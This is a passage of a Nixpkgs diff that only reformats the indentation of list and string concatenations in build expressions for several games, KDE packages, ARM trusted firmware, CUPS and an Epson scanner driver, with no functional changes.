index c9f804c43e15..da9a3ee83a00 100644
--- a/pkgs/games/nethack/default.nix
+++ b/pkgs/games/nethack/default.nix
@@ -64,37 +64,37 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-mM9n323r+WaKYXRaqEwJvKs2Ll0z9blE7FFV1E0qrLI=";
   };
 
-  buildInputs =
-    [ ncurses ]
-    ++ lib.optionals x11Mode [
-      libXaw
-      libXext
-      libXpm
-    ]
-    ++ lib.optionals qtMode [
-      gzip
-      qt5.qtbase.bin
-      qt5.qtmultimedia.bin
-    ];
+  buildInputs = [
+    ncurses
+  ]
+  ++ lib.optionals x11Mode [
+    libXaw
+    libXext
+    libXpm
+  ]
+  ++ lib.optionals qtMode [
+    gzip
+    qt5.qtbase.bin
+    qt5.qtmultimedia.bin
+  ];
 
-  nativeBuildInputs =
-    [
-      flex
-      bison
-      copyDesktopItems
-    ]
-    ++ lib.optionals x11Mode [
-      mkfontdir
-      bdftopcf
-    ]
-    ++ lib.optionals qtMode [
-      pkg-config
-      mkfontdir
-      qt5.qtbase.dev
-      qt5.qtmultimedia.dev
-      qt5.wrapQtAppsHook
-      bdftopcf
-    ];
+  nativeBuildInputs = [
+    flex
+    bison
+    copyDesktopItems
+  ]
+  ++ lib.optionals x11Mode [
+    mkfontdir
+    bdftopcf
+  ]
+  ++ lib.optionals qtMode [
+    pkg-config
+    mkfontdir
+    qt5.qtbase.dev
+    qt5.qtmultimedia.dev
+    qt5.wrapQtAppsHook
+    bdftopcf
+  ];
 
   makeFlags = [ "PREFIX=$(out)" ];
 
diff --git a/pkgs/games/openmw/default.nix b/pkgs/games/openmw/default.nix
index cff3576ebafe..8201d10e847d 100644
--- a/pkgs/games/openmw/default.nix
+++ b/pkgs/games/openmw/default.nix
@@ -77,14 +77,13 @@ stdenv.mkDerivation rec {
 
   patches = [ ./0001-function-inclusion-fixes-for-gcc14.patch ];
 
-  postPatch =
-    ''
-      sed '1i#include <memory>' -i components/myguiplatform/myguidatamanager.cpp # gcc12
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Don't fix Darwin app bundle
-      sed -i '/fixup_bundle/d' CMakeLists.txt
-    '';
+  postPatch = ''
+    sed '1i#include <memory>' -i components/myguiplatform/myguidatamanager.cpp # gcc12
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Don't fix Darwin app bundle
+    sed -i '/fixup_bundle/d' CMakeLists.txt
+  '';
 
   nativeBuildInputs = [
     cmake
@@ -111,14 +110,13 @@ stdenv.mkDerivation rec {
     yaml-cpp
   ];
 
-  cmakeFlags =
-    [
-      "-DOpenGL_GL_PREFERENCE=${GL}"
-      "-DOPENMW_USE_SYSTEM_RECASTNAVIGATION=1"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DOPENMW_OSX_DEPLOYMENT=ON"
-    ];
+  cmakeFlags = [
+    "-DOpenGL_GL_PREFERENCE=${GL}"
+    "-DOPENMW_USE_SYSTEM_RECASTNAVIGATION=1"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DOPENMW_OSX_DEPLOYMENT=ON"
+  ];
 
   meta = with lib; {
     description = "Unofficial open source engine reimplementation of the game Morrowind";
diff --git a/pkgs/games/openttd/default.nix b/pkgs/games/openttd/default.nix
index 1f797e5fbc7a..0d66cedb3175 100644
--- a/pkgs/games/openttd/default.nix
+++ b/pkgs/games/openttd/default.nix
@@ -77,35 +77,34 @@ stdenv.mkDerivation rec {
     pkg-config
     makeWrapper
   ];
-  buildInputs =
-    [
-      SDL2
-      libpng
-      xz
-      zlib
-      freetype
-      fontconfig
-      nlohmann_json
-      curl
-      icu
-      harfbuzz
-      expat
-      glib
-      pcre2
-    ]
-    ++ lib.optionals withFluidSynth [
-      fluidsynth
-      soundfont-fluid
-      libsndfile
-      flac
-      libogg
-      libvorbis
-      libopus
-      libmpg123
-      pulseaudio
-      alsa-lib
-      libjack2
-    ];
+  buildInputs = [
+    SDL2
+    libpng
+    xz
+    zlib
+    freetype
+    fontconfig
+    nlohmann_json
+    curl
+    icu
+    harfbuzz
+    expat
+    glib
+    pcre2
+  ]
+  ++ lib.optionals withFluidSynth [
+    fluidsynth
+    soundfont-fluid
+    libsndfile
+    flac
+    libogg
+    libvorbis
+    libopus
+    libmpg123
+    pulseaudio
+    alsa-lib
+    libjack2
+  ];
 
   prefixKey = "--prefix-dir=";
 
diff --git a/pkgs/games/openxray/default.nix b/pkgs/games/openxray/default.nix
index 340e1bbf68b0..563c12e02393 100644
--- a/pkgs/games/openxray/default.nix
+++ b/pkgs/games/openxray/default.nix
@@ -54,15 +54,14 @@ stdenv.mkDerivation (finalAttrs: {
     pcre
   ];
 
-  cmakeFlags =
-    [
-      # Breaks on Darwin
-      (lib.cmakeBool "USE_LTO" (!stdenv.hostPlatform.isDarwin))
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # This seemingly only gets set properly by CMake when using the XCode generator
-      (lib.cmakeFeature "CMAKE_OSX_DEPLOYMENT_TARGET" "${stdenv.hostPlatform.darwinMinVersion}")
-    ];
+  cmakeFlags = [
+    # Breaks on Darwin
+    (lib.cmakeBool "USE_LTO" (!stdenv.hostPlatform.isDarwin))
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # This seemingly only gets set properly by CMake when using the XCode generator
+    (lib.cmakeFeature "CMAKE_OSX_DEPLOYMENT_TARGET" "${stdenv.hostPlatform.darwinMinVersion}")
+  ];
 
   # Crashes can happen, we'd like them to be reasonably debuggable
   cmakeBuildType = "RelWithDebInfo";
diff --git a/pkgs/games/path-of-building/default.nix b/pkgs/games/path-of-building/default.nix
index 753001d192b9..58b93654278d 100644
--- a/pkgs/games/path-of-building/default.nix
+++ b/pkgs/games/path-of-building/default.nix
@@ -64,7 +64,8 @@ stdenv.mkDerivation {
     qttools
     wrapQtAppsHook
     icoutils
-  ] ++ lib.optional stdenv.hostPlatform.isLinux copyDesktopItems;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux copyDesktopItems;
 
   buildInputs = [
     qtbase
diff --git a/pkgs/games/quake2/yquake2/default.nix b/pkgs/games/quake2/yquake2/default.nix
index 11c71d6045b8..31e2b7ee9d65 100644
--- a/pkgs/games/quake2/yquake2/default.nix
+++ b/pkgs/games/quake2/yquake2/default.nix
@@ -41,21 +41,21 @@ let
       sha256 = "sha256-u8WXelbvfmbD+t6uTaE9z+kHBD3Re0P4SOUBL4MfAR4=";
     };
 
-    postPatch =
-      ''
-        substituteInPlace src/client/curl/qcurl.c \
-          --replace "\"libcurl.so.3\", \"libcurl.so.4\"" "\"${curl.out}/lib/libcurl.so\", \"libcurl.so.3\", \"libcurl.so.4\""
-      ''
-      + lib.optionalString (openalSupport && !stdenv.hostPlatform.isDarwin) ''
-        substituteInPlace Makefile \
-          --replace "\"libopenal.so.1\"" "\"${openal}/lib/libopenal.so.1\""
-      '';
+    postPatch = ''
+      substituteInPlace src/client/curl/qcurl.c \
+        --replace "\"libcurl.so.3\", \"libcurl.so.4\"" "\"${curl.out}/lib/libcurl.so\", \"libcurl.so.3\", \"libcurl.so.4\""
+    ''
+    + lib.optionalString (openalSupport && !stdenv.hostPlatform.isDarwin) ''
+      substituteInPlace Makefile \
+        --replace "\"libopenal.so.1\"" "\"${openal}/lib/libopenal.so.1\""
+    '';
 
     buildInputs = [
       SDL2
       libGL
       curl
-    ] ++ lib.optional openalSupport openal;
+    ]
+    ++ lib.optional openalSupport openal;
 
     makeFlags = [
       "WITH_OPENAL=${mkFlag openalSupport}"
diff --git a/pkgs/games/quake2/yquake2/wrapper.nix b/pkgs/games/quake2/yquake2/wrapper.nix
index 696e5b34ab9f..6c2437d3286e 100644
--- a/pkgs/games/quake2/yquake2/wrapper.nix
+++ b/pkgs/games/quake2/yquake2/wrapper.nix
@@ -32,21 +32,20 @@ stdenv.mkDerivation {
 
   dontUnpack = true;
 
-  installPhase =
-    ''
-      runHook preInstall
-      mkdir -p $out/bin
-    ''
-    + lib.concatMapStringsSep "\n" (game: ''
-      makeWrapper ${env}/bin/yquake2 $out/bin/yquake2-${game.title} \
-        --add-flags "+set game ${game.id}"
-      makeWrapper ${env}/bin/yq2ded $out/bin/yq2ded-${game.title} \
-        --add-flags "+set game ${game.id}"
-    '') games
-    + ''
-      install -Dm644 ${yquake2}/share/pixmaps/yamagi-quake2.png $out/share/pixmaps/yamagi-quake2.png;
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+    mkdir -p $out/bin
+  ''
+  + lib.concatMapStringsSep "\n" (game: ''
+    makeWrapper ${env}/bin/yquake2 $out/bin/yquake2-${game.title} \
+      --add-flags "+set game ${game.id}"
+    makeWrapper ${env}/bin/yq2ded $out/bin/yq2ded-${game.title} \
+      --add-flags "+set game ${game.id}"
+  '') games
+  + ''
+    install -Dm644 ${yquake2}/share/pixmaps/yamagi-quake2.png $out/share/pixmaps/yamagi-quake2.png;
+    runHook postInstall
+  '';
 
   desktopItems = map (
     game:
diff --git a/pkgs/games/quakespasm/default.nix b/pkgs/games/quakespasm/default.nix
index 7f28c9d580d2..8b669b489773 100644
--- a/pkgs/games/quakespasm/default.nix
+++ b/pkgs/games/quakespasm/default.nix
@@ -60,25 +60,24 @@ stdenv.mkDerivation rec {
     (if useSDL2 then SDL2 else SDL)
   ];
 
-  buildFlags =
-    [
-      "DO_USERDIRS=1"
-      # Makefile defaults, set here to enforce consistency on Darwin build
-      "USE_CODEC_WAVE=1"
-      "USE_CODEC_MP3=1"
-      "USE_CODEC_VORBIS=1"
-      "USE_CODEC_FLAC=1"
-      "USE_CODEC_OPUS=1"
-      "USE_CODEC_MIKMOD=0"
-      "USE_CODEC_UMX=0"
-      "USE_CODEC_XMP=1"
-      "MP3LIB=mad"
-      "VORBISLIB=vorbis"
-    ]
-    ++ lib.optionals useSDL2 [
-      "SDL_CONFIG=sdl2-config"
-      "USE_SDL2=1"
-    ];
+  buildFlags = [
+    "DO_USERDIRS=1"
+    # Makefile defaults, set here to enforce consistency on Darwin build
+    "USE_CODEC_WAVE=1"
+    "USE_CODEC_MP3=1"
+    "USE_CODEC_VORBIS=1"
+    "USE_CODEC_FLAC=1"
+    "USE_CODEC_OPUS=1"
+    "USE_CODEC_MIKMOD=0"
+    "USE_CODEC_UMX=0"
+    "USE_CODEC_XMP=1"
+    "MP3LIB=mad"
+    "VORBISLIB=vorbis"
+  ]
+  ++ lib.optionals useSDL2 [
+    "SDL_CONFIG=sdl2-config"
+    "USE_SDL2=1"
+  ];
 
   makefile = if (stdenv.hostPlatform.isDarwin) then "Makefile.darwin" else "Makefile";
 
diff --git a/pkgs/games/quakespasm/vulkan.nix b/pkgs/games/quakespasm/vulkan.nix
index 36fbaa4e10cf..9a1e130ad500 100644
--- a/pkgs/games/quakespasm/vulkan.nix
+++ b/pkgs/games/quakespasm/vulkan.nix
@@ -41,22 +41,21 @@ stdenv.mkDerivation (finalAttrs: {
     copyDesktopItems
   ];
 
-  buildInputs =
-    [
-      SDL2
-      flac
-      gzip
-      libmpg123
-      libopus
-      libvorbis
-      libX11
-      opusfile
-      vulkan-loader
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      moltenvk
-      vulkan-headers
-    ];
+  buildInputs = [
+    SDL2
+    flac
+    gzip
+    libmpg123
+    libopus
+    libvorbis
+    libX11
+    opusfile
+    vulkan-loader
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    moltenvk
+    vulkan-headers
+  ];
 
   buildFlags = [ "DO_USERDIRS=1" ];
 
diff --git a/pkgs/games/scummvm/default.nix b/pkgs/games/scummvm/default.nix
index de9c03b89091..a1dde548c814 100644
--- a/pkgs/games/scummvm/default.nix
+++ b/pkgs/games/scummvm/default.nix
@@ -68,14 +68,13 @@ stdenv.mkDerivation rec {
   ];
 
   # They use 'install -s', that calls the native strip instead of the cross
-  postConfigure =
-    ''
-      sed -i "s/-c -s/-c -s --strip-program=''${STRIP@Q}/" ports.mk
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace config.mk \
-        --replace-fail ${stdenv.hostPlatform.config}-ranlib ${cctools}/bin/ranlib
-    '';
+  postConfigure = ''
+    sed -i "s/-c -s/-c -s --strip-program=''${STRIP@Q}/" ports.mk
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace config.mk \
+      --replace-fail ${stdenv.hostPlatform.config}-ranlib ${cctools}/bin/ranlib
+  '';
 
   NIX_CFLAGS_COMPILE = [ "-fpermissive" ];
 
diff --git a/pkgs/games/shattered-pixel-dungeon/generic.nix b/pkgs/games/shattered-pixel-dungeon/generic.nix
index 496f54cf426e..c881d994cded 100644
--- a/pkgs/games/shattered-pixel-dungeon/generic.nix
+++ b/pkgs/games/shattered-pixel-dungeon/generic.nix
@@ -90,7 +90,8 @@ stdenv.mkDerivation (
       perl
       makeWrapper
       copyDesktopItems
-    ] ++ attrs.nativeBuildInputs or [ ];
+    ]
+    ++ attrs.nativeBuildInputs or [ ];
 
     desktopItems = [ desktopItem ];
 
diff --git a/pkgs/games/spring/default.nix b/pkgs/games/spring/default.nix
index 410de8382c93..b3bf58b776fc 100644
--- a/pkgs/games/spring/default.nix
+++ b/pkgs/games/spring/default.nix
@@ -62,30 +62,29 @@ stdenv.mkDerivation rec {
     docbook_xsl_ns
     asciidoc
   ];
-  buildInputs =
-    [
-      boost
-      curl
-      freetype
-      glew
-      libdevil
-      libGL
-      libGLU
-      libunwind
-      libvorbis
-      minizip
-      openal
-      p7zip
-      SDL2
-      xorg.libX11
-      xorg.libXcursor
-      xz
-      zlib
-    ]
-    ++ lib.optionals withAI [
-      python3
-      jdk
-    ];
+  buildInputs = [
+    boost
+    curl
+    freetype
+    glew
+    libdevil
+    libGL
+    libGLU
+    libunwind
+    libvorbis
+    minizip
+    openal
+    p7zip
+    SDL2
+    xorg.libX11
+    xorg.libXcursor
+    xz
+    zlib
+  ]
+  ++ lib.optionals withAI [
+    python3
+    jdk
+  ];
 
   postInstall = ''
     wrapProgram "$out/bin/spring" \
diff --git a/pkgs/games/xonotic/default.nix b/pkgs/games/xonotic/default.nix
index 389418a1b152..54d1038697fe 100644
--- a/pkgs/games/xonotic/default.nix
+++ b/pkgs/games/xonotic/default.nix
@@ -92,24 +92,23 @@ let
     };
 
     nativeBuildInputs = [ unzip ];
-    buildInputs =
-      [
-        libjpeg
-        zlib
-        libvorbis
-        curl
-        gmp
-        libX11
-      ]
-      ++ lib.optionals withGLX [
-        libGLU
-        libGL
-        libXpm
-        libXext
-        libXxf86vm
-        alsa-lib
-      ]
-      ++ lib.optionals withSDL [ SDL2 ];
+    buildInputs = [
+      libjpeg
+      zlib
+      libvorbis
+      curl
+      gmp
+      libX11
+    ]
+    ++ lib.optionals withGLX [
+      libGLU
+      libGL
+      libXpm
+      libXext
+      libXxf86vm
+      alsa-lib
+    ]
+    ++ lib.optionals withSDL [ SDL2 ];
 
     sourceRoot = "Xonotic/source/darkplaces";
 
diff --git a/pkgs/kde/gear/akonadi/default.nix b/pkgs/kde/gear/akonadi/default.nix
index 6225b7e9cfda..1b84ee1212f0 100644
--- a/pkgs/kde/gear/akonadi/default.nix
+++ b/pkgs/kde/gear/akonadi/default.nix
@@ -26,40 +26,39 @@ mkKdeDerivation {
     ./ignore-mysql-config-timestamp.patch
   ];
 
-  extraCmakeFlags =
-    [ "-DDATABASE_BACKEND=${lib.toUpper backend}" ]
-    ++ lib.optionals (backend == "mysql") [
-      "-DMYSQLD_SCRIPTS_PATH=${lib.getBin mariadb}/bin"
-    ]
-    ++ lib.optionals (backend == "postgres") [
-      "-DPOSTGRES_PATH=${lib.getBin libpq}/bin"
-    ];
+  extraCmakeFlags = [
+    "-DDATABASE_BACKEND=${lib.toUpper backend}"
+  ]
+  ++ lib.optionals (backend == "mysql") [
+    "-DMYSQLD_SCRIPTS_PATH=${lib.getBin mariadb}/bin"
+  ]
+  ++ lib.optionals (backend == "postgres") [
+    "-DPOSTGRES_PATH=${lib.getBin libpq}/bin"
+  ];
 
   extraNativeBuildInputs = [
     qttools
     shared-mime-info
   ];
 
-  extraBuildInputs =
-    [
-      kaccounts-integration
-      accounts-qt
-      xz
-    ]
-    ++ lib.optionals (backend == "mysql") [ mariadb ]
-    ++ lib.optionals (backend == "postgres") [ libpq ]
-    ++ lib.optionals (backend == "sqlite") [ sqlite ];
+  extraBuildInputs = [
+    kaccounts-integration
+    accounts-qt
+    xz
+  ]
+  ++ lib.optionals (backend == "mysql") [ mariadb ]
+  ++ lib.optionals (backend == "postgres") [ libpq ]
+  ++ lib.optionals (backend == "sqlite") [ sqlite ];
 
   # Hardcoded as a QString, which is UTF-16 so Nix can't pick it up automatically
 
-  postFixup =
-    ''
-      mkdir -p $out/nix-support
-    ''
-    + lib.optionalString (backend == "mysql") ''
-      echo "${mariadb}" > $out/nix-support/depends
-    ''
-    + lib.optionalString (backend == "postgres") ''
-      echo "${libpq}" > $out/nix-support/depends
-    '';
+  postFixup = ''
+    mkdir -p $out/nix-support
+  ''
+  + lib.optionalString (backend == "mysql") ''
+    echo "${mariadb}" > $out/nix-support/depends
+  ''
+  + lib.optionalString (backend == "postgres") ''
+    echo "${libpq}" > $out/nix-support/depends
+  '';
 }
diff --git a/pkgs/kde/gear/audiotube/default.nix b/pkgs/kde/gear/audiotube/default.nix
index b27ab60155a5..1ebd8bbfb3fc 100644
--- a/pkgs/kde/gear/audiotube/default.nix
+++ b/pkgs/kde/gear/audiotube/default.nix
@@ -44,7 +44,8 @@ mkKdeDerivation {
     kwindowsystem
     purpose
     qcoro
-  ] ++ pythonDeps;
+  ]
+  ++ pythonDeps;
 
   qtWrapperArgs = [
     "--prefix PYTHONPATH : ${ps.makePythonPath pythonDeps}"
diff --git a/pkgs/kde/lib/mk-kde-derivation.nix b/pkgs/kde/lib/mk-kde-derivation.nix
index bba43b3bc411..63378a67052d 100644
--- a/pkgs/kde/lib/mk-kde-derivation.nix
+++ b/pkgs/kde/lib/mk-kde-derivation.nix
@@ -126,7 +126,8 @@ let
       ninja
       qt6.wrapQtAppsHook
       moveDevHook
-    ] ++ extraNativeBuildInputs;
+    ]
+    ++ extraNativeBuildInputs;
     buildInputs = [ qt6.qtbase ] ++ extraBuildInputs;
 
     # FIXME: figure out what to propagate here
@@ -157,7 +158,8 @@ let
     teams = [ lib.teams.qt-kde ];
     # Platforms are currently limited to what upstream tests in CI, but can be extended if there's interest.
     platforms = lib.platforms.linux ++ lib.platforms.freebsd;
-  } // (args.meta or { });
+  }
+  // (args.meta or { });
 
   pos = builtins.unsafeGetAttrPos "pname" args;
 in
diff --git a/pkgs/kde/plasma/breeze-plymouth/default.nix b/pkgs/kde/plasma/breeze-plymouth/default.nix
index 97abe3948ac9..d85dd1861a10 100644
--- a/pkgs/kde/plasma/breeze-plymouth/default.nix
+++ b/pkgs/kde/plasma/breeze-plymouth/default.nix
@@ -38,13 +38,14 @@ mkKdeDerivation {
   # FIXME(later): discuss with upstream
   patches = [ ./install-paths.patch ];
 
-  extraNativeBuildInputs =
-    [ pkg-config ]
-    ++ lib.optionals (logoFile != null) [
-      imagemagick
-      netpbm
-      perl
-    ];
+  extraNativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals (logoFile != null) [
+    imagemagick
+    netpbm
+    perl
+  ];
   extraBuildInputs = [ plymouth ];
 
   extraCmakeFlags =
@@ -55,15 +56,14 @@ mkKdeDerivation {
     ++ lib.optional (topColor != null) "-DBACKGROUND_TOP_COLOR=${topColor}"
     ++ lib.optional (bottomColor != null) "-DBACKGROUND_BOTTOM_COLOR=${bottomColor}";
 
-  postPatch =
-    ''
-      substituteInPlace cmake/FindPlymouth.cmake --subst-var out
-    ''
-    + lib.optionalString (logoFile != null) ''
-      cp ${logoFile} breeze/images/${resolvedLogoName}.logo.png
+  postPatch = ''
+    substituteInPlace cmake/FindPlymouth.cmake --subst-var out
+  ''
+  + lib.optionalString (logoFile != null) ''
+    cp ${logoFile} breeze/images/${resolvedLogoName}.logo.png
 
-      # conversion for 16bit taken from the breeze-plymouth readme
-      convert ${logoFile} -alpha Background -background "#000000" -fill "#000000" -flatten tmp.png
-      pngtopnm tmp.png | pnmquant 16 | pnmtopng > breeze/images/16bit/${resolvedLogoName}.logo.png
-    '';
+    # conversion for 16bit taken from the breeze-plymouth readme
+    convert ${logoFile} -alpha Background -background "#000000" -fill "#000000" -flatten tmp.png
+    pngtopnm tmp.png | pnmquant 16 | pnmtopng > breeze/images/16bit/${resolvedLogoName}.logo.png
+  '';
 }
diff --git a/pkgs/misc/arm-trusted-firmware/default.nix b/pkgs/misc/arm-trusted-firmware/default.nix
index 743e429c0051..93b884250bc7 100644
--- a/pkgs/misc/arm-trusted-firmware/default.nix
+++ b/pkgs/misc/arm-trusted-firmware/default.nix
@@ -67,22 +67,21 @@ let
 
         buildInputs = [ openssl ];
 
-        makeFlags =
-          [
-            "HOSTCC=$(CC_FOR_BUILD)"
-            "M0_CROSS_COMPILE=${pkgsCross.arm-embedded.stdenv.cc.targetPrefix}"
-            "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
-            # Make the new toolchain guessing (from 2.11+) happy
-            "CC=${stdenv.cc.targetPrefix}cc"
-            "LD=${stdenv.cc.targetPrefix}cc"
-            "AS=${stdenv.cc.targetPrefix}cc"
-            "OC=${stdenv.cc.targetPrefix}objcopy"
-            "OD=${stdenv.cc.targetPrefix}objdump"
-            # Passing OpenSSL path according to docs/design/trusted-board-boot-build.rst
-            "OPENSSL_DIR=${openssl}"
-          ]
-          ++ (lib.optional (platform != null) "PLAT=${platform}")
-          ++ extraMakeFlags;
+        makeFlags = [
+          "HOSTCC=$(CC_FOR_BUILD)"
+          "M0_CROSS_COMPILE=${pkgsCross.arm-embedded.stdenv.cc.targetPrefix}"
+          "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
+          # Make the new toolchain guessing (from 2.11+) happy
+          "CC=${stdenv.cc.targetPrefix}cc"
+          "LD=${stdenv.cc.targetPrefix}cc"
+          "AS=${stdenv.cc.targetPrefix}cc"
+          "OC=${stdenv.cc.targetPrefix}objcopy"
+          "OD=${stdenv.cc.targetPrefix}objdump"
+          # Passing OpenSSL path according to docs/design/trusted-board-boot-build.rst
+          "OPENSSL_DIR=${openssl}"
+        ]
+        ++ (lib.optional (platform != null) "PLAT=${platform}")
+        ++ extraMakeFlags;
 
         installPhase = ''
           runHook preInstall
@@ -103,7 +102,8 @@ let
             description = "Reference implementation of secure world software for ARMv8-A";
             license = [
               licenses.bsd3
-            ] ++ lib.optionals (!deleteHDCPBlobBeforeBuild) [ licenses.unfreeRedistributable ];
+            ]
+            ++ lib.optionals (!deleteHDCPBlobBeforeBuild) [ licenses.unfreeRedistributable ];
             maintainers = with maintainers; [ lopsided98 ];
           }
           // extraMeta;
diff --git a/pkgs/misc/cups/default.nix b/pkgs/misc/cups/default.nix
index 3d6f31030b6f..70a20f906d8a 100644
--- a/pkgs/misc/cups/default.nix
+++ b/pkgs/misc/cups/default.nix
@@ -39,46 +39,44 @@ stdenv.mkDerivation rec {
     "man"
   ];
 
-  postPatch =
-    ''
-      substituteInPlace cups/testfile.c \
-        --replace 'cupsFileFind("cat", "/bin' 'cupsFileFind("cat", "${coreutils}/bin'
+  postPatch = ''
+    substituteInPlace cups/testfile.c \
+      --replace 'cupsFileFind("cat", "/bin' 'cupsFileFind("cat", "${coreutils}/bin'
 
-        # The cups.socket unit shouldn't be part of cups.service: stopping the
-        # service would stop the socket and break subsequent socket activations.
-        # See https://github.com/apple/cups/issues/6005
-        sed -i '/PartOf=cups.service/d' scheduler/cups.socket.in
-    ''
-    +
-      lib.optionalString
-        (stdenv.hostPlatform.isDarwin && lib.versionOlder stdenv.hostPlatform.darwinSdkVersion "12")
-        ''
-          substituteInPlace backend/usb-darwin.c \
-            --replace "kIOMainPortDefault" "kIOMasterPortDefault"
-        '';
+      # The cups.socket unit shouldn't be part of cups.service: stopping the
+      # service would stop the socket and break subsequent socket activations.
+      # See https://github.com/apple/cups/issues/6005
+      sed -i '/PartOf=cups.service/d' scheduler/cups.socket.in
+  ''
+  +
+    lib.optionalString
+      (stdenv.hostPlatform.isDarwin && lib.versionOlder stdenv.hostPlatform.darwinSdkVersion "12")
+      ''
+        substituteInPlace backend/usb-darwin.c \
+          --replace "kIOMainPortDefault" "kIOMasterPortDefault"
+      '';
 
   nativeBuildInputs = [
     pkg-config
     removeReferencesTo
   ];
 
-  buildInputs =
-    [
-      zlib
-      libjpeg
-      libpng
-      libtiff
-      libusb1
-      gnutls
-      libpaper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      avahi
-      pam
-      dbus
-      acl
-    ]
-    ++ lib.optional enableSystemd systemd;
+  buildInputs = [
+    zlib
+    libjpeg
+    libpng
+    libtiff
+    libusb1
+    gnutls
+    libpaper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    avahi
+    pam
+    dbus
+    acl
+  ]
+  ++ lib.optional enableSystemd systemd;
 
   propagatedBuildInputs = [ gmp ];
 
@@ -86,22 +84,21 @@ stdenv.mkDerivation rec {
     "build"
     "host"
   ];
-  configureFlags =
-    [
-      "--localstatedir=/var"
-      "--sysconfdir=/etc"
-      "--enable-raw-printing"
-      "--enable-threads"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "--enable-dbus"
-      "--enable-pam"
-      "--with-dbusdir=${placeholder "out"}/share/dbus-1"
-    ]
-    ++ lib.optional (libusb1 != null) "--enable-libusb"
-    ++ lib.optional (gnutls != null) "--enable-ssl"
-    ++ lib.optional (avahi != null) "--enable-avahi"
-    ++ lib.optional (libpaper != null) "--enable-libpaper";
+  configureFlags = [
+    "--localstatedir=/var"
+    "--sysconfdir=/etc"
+    "--enable-raw-printing"
+    "--enable-threads"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "--enable-dbus"
+    "--enable-pam"
+    "--with-dbusdir=${placeholder "out"}/share/dbus-1"
+  ]
+  ++ lib.optional (libusb1 != null) "--enable-libusb"
+  ++ lib.optional (gnutls != null) "--enable-ssl"
+  ++ lib.optional (avahi != null) "--enable-avahi"
+  ++ lib.optional (libpaper != null) "--enable-libpaper";
 
   # AR has to be an absolute path
   preConfigure = ''
@@ -142,33 +139,32 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  postInstall =
-    ''
-      libexec=${if stdenv.hostPlatform.isDarwin then "libexec/cups" else "lib/cups"}
-      moveToOutput $libexec "$out"
+  postInstall = ''
+    libexec=${if stdenv.hostPlatform.isDarwin then "libexec/cups" else "lib/cups"}
+    moveToOutput $libexec "$out"
 
-      # $lib contains references to $out/share/cups.
-      # CUPS is working without them, so they are not vital.
-      find "$lib" -type f -exec grep -q "$out" {} \; \
-           -printf "removing references from %p\n" \
-           -exec remove-references-to -t "$out" {} +
+    # $lib contains references to $out/share/cups.
+    # CUPS is working without them, so they are not vital.
+    find "$lib" -type f -exec grep -q "$out" {} \; \
+         -printf "removing references from %p\n" \
+         -exec remove-references-to -t "$out" {} +
 
-      # Delete obsolete stuff that conflicts with cups-filters.
-      rm -rf $out/share/cups/banners $out/share/cups/data/testprint
+    # Delete obsolete stuff that conflicts with cups-filters.
+    rm -rf $out/share/cups/banners $out/share/cups/data/testprint
 
-      moveToOutput bin/cups-config "$dev"
-      sed -e "/^cups_serverbin=/s|$lib|$out|" \
-          -i "$dev/bin/cups-config"
+    moveToOutput bin/cups-config "$dev"
+    sed -e "/^cups_serverbin=/s|$lib|$out|" \
+        -i "$dev/bin/cups-config"
 
-      for f in "$out"/lib/systemd/system/*; do
-        substituteInPlace "$f" --replace "$lib/$libexec" "$out/$libexec"
-      done
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      # Use xdg-open when on Linux
-      substituteInPlace "$out"/share/applications/cups.desktop \
-        --replace "Exec=htmlview" "Exec=xdg-open"
-    '';
+    for f in "$out"/lib/systemd/system/*; do
+      substituteInPlace "$f" --replace "$lib/$libexec" "$out/$libexec"
+    done
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    # Use xdg-open when on Linux
+    substituteInPlace "$out"/share/applications/cups.desktop \
+      --replace "Exec=htmlview" "Exec=xdg-open"
+  '';
 
   passthru.tests = {
     inherit (nixosTests)
diff --git a/pkgs/misc/drivers/epkowa/default.nix b/pkgs/misc/drivers/epkowa/default.nix
index 21ad1bbc8873..d503490c6120 100644
--- a/pkgs/misc/drivers/epkowa/default.nix
+++ b/pkgs/misc/drivers/epkowa/default.nix
@@ -554,26 +554,24 @@ stdenv.mkDerivation rec {
     mkdir -p $out/lib/iscan
     ln -s ${plugins.network}/lib/iscan/network $out/lib/iscan/network
   '';
-  postFixup =
-    ''
-      # iscan-registry is a shell script requiring getopt
-      wrapProgram $out/bin/iscan-registry --prefix PATH : ${getopt}/bin
-      registry=$out/bin/iscan-registry;
-    ''
-    + lib.concatStrings (
-      lib.mapAttrsToList (name: value: ''
-        plugin=${value};
-        ${value.passthru.registrationCommand}
-      '') plugins
-    );
+  postFixup = ''
+    # iscan-registry is a shell script requiring getopt
+    wrapProgram $out/bin/iscan-registry --prefix PATH : ${getopt}/bin
+    registry=$out/bin/iscan-registry;
+  ''
+  + lib.concatStrings (
+    lib.mapAttrsToList (name: value: ''
+      plugin=${value};
+      ${value.passthru.registrationCommand}
+    '') plugins
+  );
   meta = common_meta // {
     description = "sane-epkowa backend for some epson scanners";
-    longDescription =
-      ''
-        Includes gui-less iscan (aka. Image Scan! for Linux).
-        Supported hardware: at least :
-      ''
